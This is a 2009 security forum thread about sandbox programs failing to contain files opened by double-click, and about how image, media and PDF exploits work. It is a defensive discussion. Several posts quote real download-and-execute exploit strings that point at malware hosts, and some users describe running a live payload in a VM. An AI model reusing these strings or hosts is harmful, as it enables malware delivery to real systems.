View Full Version : Take care when running some file types with "double click"
ssj100
August 26th, 2009, 07:27 PM
Okay, since there has been all sorts of discussion about non-executable file types causing infection, I've since got into the habit of running every new file I recover out of my sandboxed applications sandboxed (untrusted). This includes seemingly harmless .txt files, .jpg files etc etc.
I've now tested this technique with Sandboxie, DefenseWall, and GeSWall.
Interestingly, all 3 programs have problems when it comes to opening certain file types.
Let me illustrate with an example:
1. I open my Firefox browser sandboxed (Sandboxie) or untrusted (DefenseWall) or isolated (GeSWall)
2. I download a .jpg file and recover it on to my real system
3. I open the .jpg file (with double click)
4. If Windows Picture and Fax Viewer is my default picture viewer, it will open un-sandboxed or trusted or un-isolated, leaving me vulnerable to attacks.
5. In other words, don't open newly introduced files with "double-click". Use the right-click option and run it sandboxed or untrusted or isolated.
Another example:
1. I open my Firefox browser sandboxed (Sandboxie) or untrusted (DefenseWall) or isolated (GeSWall)
2. I download a .avi file and recover it on to my real system
3. I open the .avi file (with double click)
4. If Windows Media Player is my default video player, it will open un-sandboxed or trusted or un-isolated, leaving me vulnerable to attacks.
5. In other words, don't open newly introduced files with "double-click" etc etc.
I'm sure there are many other examples, and all seem to relate to the built-in Windows programs like Windows Picture and Fax Viewer, and Windows Media Player.
I hope people can follow this. Please feel free to comment on this.
I solve the above problems by either using the right click option as stated above, or simply running a sandboxed windows explorer to open any newly introduced files. Another way to solve these issues are to find 3rd party replacements to run as default, instead of the Windows programs. For example, use another picture viewer to open .jpg files by default. Or use another video player to open .avi files by default. This way, all 3 programs should be able to catch the 3rd party application process and run it sandboxed/untrusted/isolated.
EDIT:
Another way to solve the second example above is to specifically configure Sandboxie/DefenseWall/GeSWall to run your default video player sandboxed or untrusted (DefenseWall runs wmplayer.exe as untrusted by default) or isolated.
firzen771
August 26th, 2009, 08:44 PM
hmm looks like ill be sandboxing my media player and windows picture viewer :)
firzen771
August 26th, 2009, 08:54 PM
-{ Quote: "You can't force sandbox Windows picture viewer mate. That's why in my edit above, I only mentioned the second example." }-
WHAT, thats pretty ~Snip~, hope this functionality is added in a future release, and im wondering why this wasnt available from the start...
PrevxHelp
August 26th, 2009, 09:08 PM
You're definitely correct with needing to sandbox the opening of downloaded files. As for the picture viewer, you may want to see if it is possible to sandbox dllhost.exe or rundll32.exe (depending on your OS).
You'll also want to consider sandboxing Adobe Reader/Foxit Reader, Microsoft Office applications, audio/video players, and really any other program which handles complex file types - they almost all have vulnerabilities :-\
firzen771
August 26th, 2009, 09:12 PM
-{ Quote: "I think it's not possible to do it mate. You'd have to like force run explorer.exe to force run Windows Picture and Fax Viewer sandboxed.
It's not just a problem with Sandboxie mate - it affects DefenseWall and GeSWall too - I tested it myself.
Anyway, what's so hard about right clicking any new files and running it sandboxed? Or right clicking Sandboxie icon and running a sandboxed windows explorer?" }-
its not hard, its just with such a common file i wuld probly forget before opening it out of pure habit.
-{ Quote: "You're definitely correct with needing to sandbox the opening of downloaded files. As for the picture viewer, you may want to see if it is possible to sandbox dllhost.exe or rundll32.exe (depending on your OS).
You'll also want to consider sandboxing Adobe Reader/Foxit Reader, Microsoft Office applications, audio/video players, and really any other program which handles complex file types - they almost all have vulnerabilities :-\" }-
i never feel comfortable sandboxing critical system files but ill go with ur advice on the apps, ive already got adobe reader sandboxed but not MS Office or my Video players, althought im not gunna sandbox my itunes since its gunna become a HUGGEE pain in the ass if i do...
Einsturzende
August 26th, 2009, 10:05 PM
and, why not running it *.jpg, *.avi etc. directly from browser ... just pick "open" on file download window from IE or open with... on FF from download window... every player, viewer which is running directly from browser will inherit sandboxed environment from browser or any other sandboxed application which started it ...
things which are unsafe in unsandboxed world are in fact safe and recommended in sandboxed environments...
PrevxHelp
August 26th, 2009, 10:09 PM
-{ Quote: "
I'm just covering the 0.000001% chance that malware could infect you from running a non-executable file. If you think the risk of that is too low to even consider protecting against, then I wouldn't blame you haha." }-
The risk is far, far higher than "0.000001%" but if you keep updated with the newest patches and keep an ear open to new reports, that can greatly lessen the risk.
One note to keep in mind is that these exploits generally download and execute other executable infections which are easier to then sandbox/intercept but you'll need to see how your sandbox behaves with it.
-{ Quote: "
Hi mate, yes I've tried force running rundll32.exe sandboxed but it doesn't do anything. It's far more complex than that I think. I think it's because Windows Picture and Fax Viewer is quite integrated into the Windows OS?" }-
Indeed the picture/fax viewer is tightly integrated within Windows Explorer so it isn't as easy to isolate for a direct sandboxing but a better approach would be to disable/unregister previews of image files and other file types and then just open files when wanted in their respective programs within the sandbox.
wat0114
August 26th, 2009, 10:18 PM
Or why not enlist the security benefits of Virtualbox or similar virtual machine to isolate all of your files you worry about? :)
Franklin
August 26th, 2009, 11:27 PM
-{ Quote: "
The point I was trying to make is that non-executable malware files that you download would rarely infect you. I've certainly never come across one myself. Has anyone actually come across a non-executable malware file that got you infected unexpectedly?" }-
You could have a look at the pdf exploit below that if opened will or should download it's payload in being a "load.exe".
Sometimes only one payload is delivered to that ip so if you try for second payload download it mightn't come through.
Haven't had the payload auto-execute here as yet and don't know if it can.
Payload:
-{ Quote: "Filename: load.exe
Scan finished. 2 out of 21 scanners reported malware.
Scan taken on: Thu 27 Aug 2009 05:17:44" }-
hxxp://wepawet.cs.ucsb.edu/view.php?hash=68aa4bf2cd610bbaba51ceb5121e8b47&type=js
kasperking
August 26th, 2009, 11:27 PM
huh...this is taking paranoia to its heights.Ssj you are missing the simple pleasure tinged with an element of risk of the virtual world.Click the mouse...turn the pc off and get the 100% security you so desire
wat0114
August 27th, 2009, 12:10 AM
Franklin, I tried the url on my Vbox setup but nothing happened download-wise. But on the web page there were two urls at the bottom of page. Trying both of them instantly gave me the option to download them. They will download but not launch, so they seem harmless at least in terms of launching unexpectedly. Of course anyone with common sense would not proceed to download/launch them. I don't use Adobe; rather I use Foxit Reader instead, so I don't know if this helps mitigate the exploit?
Franklin
August 27th, 2009, 12:22 AM
Wepawet is a site you can upload pdf exploits for an detailed report.
You have to go to the original site that downloads the actual pdf exploit.
I also tried to run the load.exe which according to Avira is fake av scan but seems to be sandbox/vm aware and won't fully deploy here in either.
wat0114
August 27th, 2009, 12:33 AM
-{ Quote: "Wepawet is a site you can upload pdf exploits for an detailed report." }-
Okay, I knew there seemed something harmless about it but couldn't put my finger on it :)
-{ Quote: "You have to go to the original site that downloads the actual pdf exploit.
I also tried to run the load.exe which according to Avira is fake av scan but seems to be sandbox/vm aware and won't fully deploy here in either." }-
Those two urls at the bottom of the wepawet site certainly seemed to worked, or are they not the correct sites? I also tried to launch one of them within Sandboxie-within Vbox and Sandboxie blocked its Internet access attempt. Load.exe was running in Process Explorer, though, but I did not note anything odd occurring in the Sandbox, so maybe as you say it doesn't like the virtual environment. Interesting stuff all the same.
Franklin
August 27th, 2009, 12:40 AM
-{ Quote: "Those two urls at the bottom of the wepawet site certainly seemed to worked, or are they not the correct sites?" }-
Yes they are the correct site for the payload download but you need the original live pdf exploit site to instigate an autodownload.
wat0114
August 27th, 2009, 12:47 AM
Okay, will try tomorrow evening. Thanks!
I did launch the load.exe within Sandboxie after I removed internet restrictions but blocked Vbox with Outpost and the file was generating SYN flags to a specific ip address, which Outpost blocked, as expected. No ACKs or connection established that I could see using Netstat -an.
virtumonde
August 27th, 2009, 02:18 AM
-{ Quote: "Okay, since there has been all sorts of discussion about non-executable file types causing infection, I've since got into the habit of running every new file I recover out of my sandboxed applications sandboxed (untrusted). This includes seemingly harmless .txt files, .jpg files etc etc.
I've now tested this technique with Sandboxie, DefenseWall, and GeSWall.
Interestingly, all 3 programs have problems when it comes to opening certain file types.
Let me illustrate with an example:
1. I open my Firefox browser sandboxed (Sandboxie) or untrusted (DefenseWall) or isolated (GeSWall)
2. I download a .jpg file and recover it on to my real system
3. I open the .jpg file (with double click)
4. If Windows Picture and Fax Viewer is my default picture viewer, it will open un-sandboxed or trusted or un-isolated, leaving me vulnerable to attacks.
5. In other words, don't open newly introduced files with "double-click". Use the right-click option and run it sandboxed or untrusted or isolated.
Another example:
1. I open my Firefox browser sandboxed (Sandboxie) or untrusted (DefenseWall) or isolated (GeSWall)
2. I download a .avi file and recover it on to my real system
3. I open the .avi file (with double click)
4. If Windows Media Player is my default video player, it will open un-sandboxed or trusted or un-isolated, leaving me vulnerable to attacks.
5. In other words, don't open newly introduced files with "double-click" etc etc.
" }-
I admit i don't understand.Aren't the.jpg files and .avi files untrusted?Why is important that the default media player or image viewer to be also untrusted?
arran
August 27th, 2009, 03:44 AM
I'm not reading all the posts in this thread because I have little time atm. So I don't know if any one else has already suggested this.
Quote
"Take care when running some file types with "double click""
Because You can't force Windows Picture and Fax Viewer to run in Sandboxie I use FastStone Image Viewer to open JPG's and force that to run in the Sandbox. And it is a way better picture viewer than windows one.
I also force Zoom Player to run in the sandbox when ever I open movie files.
So in conclusion problem is solved with opening files.
andyman35
August 27th, 2009, 07:50 AM
A simple 'set and forget' solution would be ( as Arran says)to install 3rd party picture and video viewers and have them always run sandboxed by default.There are many such free products that offer more functionality that the Windows defaults.XNView,VLC player to name but two.
trismegistos
August 27th, 2009, 08:37 AM
The premise in the OP's suggestion is if the user has only a sandboxie type of protection. HIPs users will not be bothered much from this type of exploits or malware embedded files as they will be prompted if an unknown process will try to execute and Rmus has pointed out that any execution control protection will protect you from this type of vulnerabilities. Whether this be using arbitrary code execution or buffer overflows, etc, as always the end result will be to download and execute. Rmus is always in the search for anything otherwise being exploited in the wild. This is from what I gathered from the various similar threads. Thanks to Rmus, to the OP, to StevieO and to others with their viewpoints and suggestions on similar topics or threads. You are all heaven sent.
trismegistos
August 27th, 2009, 09:30 AM
-{ Quote: "A simple 'set and forget' solution would be ( as Arran says)to install 3rd party picture and video viewers and have them always run sandboxed by default.There are many such free products that offer more functionality that the Windows defaults.XNView,VLC player to name but two." }-
VLC player and other softwares have also their shares of vulnerabilities in the past and obviously they have released their patches. But whether window defaults or alternatives will always have undisclosed or would be discovered vulnerabilities as code complexities grew evermore. What would be the best will be a preventive measures as the old adage says, prevention is better than cure. Others will quick to remind the masses to always update. And that is not a bad advice but a vicious cycle of updates would ensue. Windchild and Rmus have pointed out that any anti-execution type of protections or default deny policy like the use of LUA-SRP, AE, OR HIPS will give you ample protections from those exploits or malwares taking advantage of those vulnerabilities.
But as you pointed out, using such alternatives could help one run those sandboxed. Unless of course you only rely on sandboxie type of protection, this will hold as a nice suggestion indeed.
btw: I'm still using an oldversion applications with published multiple vulnerabilities, but since I have adequate protection which is HIPS, I would not bother bloat my netbooks precious disk space.
firzen771
August 27th, 2009, 09:42 AM
-{ Quote: "A simple 'set and forget' solution would be ( as Arran says)to install 3rd party picture and video viewers and have them always run sandboxed by default.There are many such free products that offer more functionality that the Windows defaults.XNView,VLC player to name but two." }-
the only reason i dont use a 3rd party image viewer is simply because i honestly dont need that extra functionality :-\
Rmus
August 27th, 2009, 07:03 PM
Just to clarify when an image file such as a JPEG can be a true executable: In a long thread in 2005 at DSLR, the topic, "executable jpegs," was beat to death. It mostly discussed spoofed extensions (which cannot execute like an EXE) but there was this interesting sidelight. One person commented that a jpeg can't be a true executable because a jpeg doesn't have the appropriate header for an executable program. This response followed:
-{ Quote: "What most people don't know is that JPEG has a unique characteristic from most file formats - it doesn't actually require its header ( 0xFFD8 ) to be at the start of the file.
So what does this mean? Well, for one you can prepend a small executable file (such as a 32bit Windows PE executable or a VBS script to name just two of many examples) to the start of a JPEG and
1) the JPEG will still visually render under all imaging programs which follow the JPEG specification, yet
2) the prepended executable component of the file will run normally if the file is 'executed' (ie. double-clicked on from Explorer ,or activated via Start | Run, or the command prompt, etc etc)." }-Nothing more was said about this, and I wondered: how such a file could be crafted maliciously; why it wasn't used in the wild; how would such an exploit work, that is, how would the file run; how would it get downloaded onto someone's computer; under what circumstances would a user be tricked into opening such a file; and what does "small" mean? How much executable code could be prepended?
I put these questions to several knowledgeable people and did not receive any satisfactory or convincing answers. From my viewpoint with people I was helping at that time, I concluded this was a NO-Threat.
Image and data files have not been used in exploits as true executables. Rather, just a means of triggering automatically -- by remote code execution -- a vulnerability in something in the Operating System, the browser, or in an application. Examples:
1) ANI (Animated Cursor) file from 2004. Buffer overflow used API (Application Programming Interface) calls to connect out to the internet to download malware. IE6 required.
2) WMF (Windows Meta) file from 2005. Same idea. One analyst refers to these as "download and execute" exploits.
Here is a description:
Shellcode analysis -- download n' exec
http://blog.threatfire.com/2007/12/shellcode-analysis-download-n-exec.html
-{ Quote: "The websites attack visitors by targeting vulnerabilities in .ani file parsing, .wmf file parsing,...
[The code] loads urlmon and finds URLDownloadToFileA. These calls all tell us that this shellcode's functionality is download and execute -- and we can observe the url strings that the code is communicating with.
Download and execute shellcode like this happens to be some of the most prevalent shellcode that we see served up by malicious web sites." }-The advisory for the exploit stated:
Vulnerability Summary for CVE-2005-4560
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-4560
-{ Quote: "The Windows Graphical Device Interface library (GDI32.DLL) in Microsoft Windows allows remote attackers to execute arbitrary code via a Windows Metafile (WMF) format image with a crafted SETABORTPROC GDI Escape function call, related to the Windows Picture and Fax Viewer (SHIMGVW.DLL), a different vulnerability than CVE-2005-2123 and CVE-2005-2124, and as originally discovered in the wild on unionseek.com." }-We learned later that other image viewers also were vulnerable because they used that Windows DLL. Also, the file extension could be any image file
The code inside the WMF file had this string to download the trojan, ioo.exe:
URLDownloadToFileA.http://unionseek.com/ioo.exe
You'll recognize the API call as described above.
The ANI exploit files used the same code. This one from late 2004:
urlmon.dll-URLDownloadToFile-WinExec-
HTTP://195.225.177.33/vx/win32.exe
3) PDF -- Still current. Again, these are not executable files. They depend on a vulnerability in the PDF Reader (Acrobat and Foxit being the most commonly targeted). They use the same Windows API call in a malformed PDF file, one being:
URLMON.DLL.URLDownloadToFileA
http://hyperliteautoservices.cn/load.php ?id=5
You can see that they all do the same thing. And there are bound to be other filetypes exploited in the future.
And, of course, as has been demonstrated, these are easy to block at the gate and prevent from carrying out their payload
_____________________________________________________________________________
As for the possbility for being infected by an image file as a true executable? Each person must come to her/his own conclusion, of course. I may be in the minority, but I don't worry about it.
----
rich
aigle
August 27th, 2009, 07:07 PM
-{ Quote: "Okay, since there has been all sorts of discussion about non-executable file types causing infection, I've since got into the habit of running every new file I recover out of my sandboxed applications sandboxed (untrusted). This includes seemingly harmless .txt files, .jpg files etc etc.
I've now tested this technique with Sandboxie, DefenseWall, and GeSWall.
Interestingly, all 3 programs have problems when it comes to opening certain file types.
Let me illustrate with an example:
1. I open my Firefox browser sandboxed (Sandboxie) or untrusted (DefenseWall) or isolated (GeSWall)
2. I download a .jpg file and recover it on to my real system
3. I open the .jpg file (with double click)
4. If Windows Picture and Fax Viewer is my default picture viewer, it will open un-sandboxed or trusted or un-isolated, leaving me vulnerable to attacks.
5. In other words, don't open newly introduced files with "double-click". Use the right-click option and run it sandboxed or untrusted or isolated.
Another example:
1. I open my Firefox browser sandboxed (Sandboxie) or untrusted (DefenseWall) or isolated (GeSWall)
2. I download a .avi file and recover it on to my real system
3. I open the .avi file (with double click)
4. If Windows Media Player is my default video player, it will open un-sandboxed or trusted or un-isolated, leaving me vulnerable to attacks.
5. In other words, don't open newly introduced files with "double-click" etc etc.
I'm sure there are many other examples, and all seem to relate to the built-in Windows programs like Windows Picture and Fax Viewer, and Windows Media Player.
I hope people can follow this. Please feel free to comment on this.
I solve the above problems by either using the right click option as stated above, or simply running a sandboxed windows explorer to open any newly introduced files. Another way to solve these issues are to find 3rd party replacements to run as default, instead of the Windows programs. For example, use another picture viewer to open .jpg files by default. Or use another video player to open .avi files by default. This way, all 3 programs should be able to catch the 3rd party application process and run it sandboxed/untrusted/isolated.
EDIT:
Another way to solve the second example above is to specifically configure Sandboxie/DefenseWall/GeSWall to run your default video player sandboxed or untrusted (DefenseWall runs wmplayer.exe as untrusted by default) or isolated." }-
I will explain regarding geswall in XP.
1- When u open any image in windows image viewer, it,s actually opeed by explorer.exe and explorer.exe is treated as always trusted in geswall, so image will be opened as trsuted. It,s a security concern.
Solution: Install any 3rd party image viewer like XnView, IrfanView or FastStone ImageViewer as ur default image viewer and all untrusted imges will be opened as isolated.
The images u see in ur browser etc are already isolated.
2- Regarding any untrusted media file, I think if u run an untrsuted file by double click, ur media player will be launched as untrusted or there will be a pop up to ask aboutv it, so there is no problem.
3- So is the case with pdf viewers, Office docs, txt files etc. If file is untrusted, the application that will open it will be launched untrusted too.
However there might be some usability issues like while editing the office files etc.you need to try n be sure to avoid any loss of work.
4- BTW with geswall it,s a whole different story in windows 7. If a file, say a pdf documentm, is untrusted and I open it by double click, it wiull be opened by pdf reader as trsuted.
Solution: I added all my viewers like pdf reader, OpenOffice image viewer, media palyer etc as to run always isolated in geswall. If i need i can restart any application as trusted on the fly via G caption icon on the top right conner of window.
A word of caution: If u open ur documents in MS word as isolate( geswalled), edit them and then re-save them, make sure that ur Office program is able to save this editing while running inside geswall or u might losse ur precious time n work/ data. SAme is true while editing a pdf file, a txt file, an image etc etc while it is running inside geswall. You might need to add rules in GesWall to make it smooth n trouble free.
Lastly even if I open an untrusted file as trusted, I am not so afraid as any malicious document needs to execute a code to do its damage and an anti-executable HIPS( CFP in my case) will take care of it. This is my securitty set up: A SANDBOX + AN ANTI-EXECUTABLE HIPS
Ilya Rabinovich
August 27th, 2009, 07:13 PM
DefenseWall do support Windows Media Player as a "default untrusted".If you remove it from the list- it's your own risk.
trismegistos
August 27th, 2009, 10:36 PM
-{ Quote: "Just to clarify when an image file such as a JPEG can be a true executable: In a long thread in 2005 at DSLR, the topic, "executable jpegs," was beat to death. It mostly discussed spoofed extensions (which cannot execute like an EXE) but there was this interesting sidelight. One person commented that a jpeg can't be a true executable because a jpeg doesn't have the appropriate header for an executable program. This response followed:
Nothing more was said about this, and I wondered: how such a file could be crafted maliciously; why it wasn't used in the wild; how would such an exploit work, that is, how would the file run; how would it get downloaded onto someone's computer; under what circumstances would a user be tricked into opening such a file; and what does "small" mean? How much executable code could be prepended?
I put these questions to several knowledgeable people and did not receive any satisfactory or convincing answers. From my viewpoint with people I was helping at that time, I concluded this was a NO-Threat.
Image and data files have not been used in exploits as true executables. Rather, just a means of triggering automatically -- by remote code execution -- a vulnerability in something in the Operating System, the browser, or in an application. Examples:
1) ANI (Animated Cursor) file from 2004. Buffer overflow used API (Application Programming Interface) calls to connect out to the internet to download malware. IE6 required.
2) WMF (Windows Meta) file from 2005. Same idea. One analyst refers to these as "download and execute" exploits.
Here is a description:
Shellcode analysis -- download n' exec
http://blog.threatfire.com/2007/12/shellcode-analysis-download-n-exec.html
The advisory for the exploit stated:
Vulnerability Summary for CVE-2005-4560
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-4560
We learned later that other image viewers also were vulnerable because they used that Windows DLL. Also, the file extension could be any image file
The code inside the WMF file had this string to download the trojan, ioo.exe:
URLDownloadToFileA.http://unionseek.com/ioo.exe
You'll recognize the API call as described above.
The ANI exploit files used the same code. This one from late 2004:
urlmon.dll-URLDownloadToFile-WinExec-
HTTP://195.225.177.33/vx/win32.exe
3) PDF -- Still current. Again, these are not executable files. They depend on a vulnerability in the PDF Reader (Acrobat and Foxit being the most commonly targeted). They use the same Windows API call in a malformed PDF file, one being:
URLMON.DLL.URLDownloadToFileA
http://hyperliteautoservices.cn/load.php ?id=5
You can see that they all do the same thing. And there are bound to be other filetypes exploited in the future.
And, of course, as has been demonstrated, these are easy to block at the gate and prevent from carrying out their payload
_____________________________________________________________________________
As for the possbility for being infected by an image file as a true executable? Each person must come to her/his own conclusion, of course. I may be in the minority, but I don't worry about it.
----
rich" }-
As always thanks for clarifying.
This true executable file masquerading as an image file or a malware embedded in an innocous file other than those spawning a shellcode of the download and execute types will surely among its various steps will display a strange behaviour, which any HIPs can block.
Without any POC, this 'true' executable jpeg story is just FUD.
aigle
August 28th, 2009, 12:35 AM
I also enjoy the pop up free updates by disabling Defnce plus at that time. ;D
BTW I don,t bother to update so often except my security software.
aigle
August 28th, 2009, 12:53 AM
Usually not as updates of such programs don,t bring too much changes in the the way an application works. Most CFP rules remain same, just few pop ups.
As i said I mainly update my browsers and security soiftware. CCleaner like applications.... hmmm.... i don,t mind to use a 6 months old version.
arran
August 30th, 2009, 04:33 AM
-{ Quote: "the only reason i dont use a 3rd party image viewer is simply because i honestly dont need that extra functionality :-\" }-
But when using Windows Picture and Fax Viewer you can't view images in FULL screen mode, full screen as in the same size of you monitor. Windows Picture and Fax Viewer doesn't allow it.
arran
August 30th, 2009, 05:36 AM
-{ Quote: "Hmm, never really noticed that. I always thought when in full screen mode, the picture would just automatically expand to fit the full screen as able (that's what I've always seen anyway). I never pay that much attention to it though. Are you saying full-screen as in the picture taking up the entire screen? Wouldn't this distort the image though?" }-
Yes I am saying that with 3rd party like FastStone the picture takes up the entire screen. And No it doesn't distort the image.
you should download and try FastStone Image Viewer in VM.
trismegistos
August 30th, 2009, 08:53 AM
In a vulnerable or unpatched system, you don't even have to double click those files or view them on the default Windows Picture and Fax Viewer, merely browsing the folders containing those files with the windows explorer or hovering your mouse pointer over the exploit embedded image files, you will get owned or infected.
See my results on these wmf vulnerabilities testing with HIPS and Sandboxie...
http://www.wilderssecurity.com/showpost.php?p=1532733&postcount=65
http://www.wilderssecurity.com/showpost.php?p=1533166&postcount=69
vBulletin® Copyright ©2000-2012, Jelsoft Enterprises Ltd.
Copyright ©2002 - 2012, Wilders Security Forums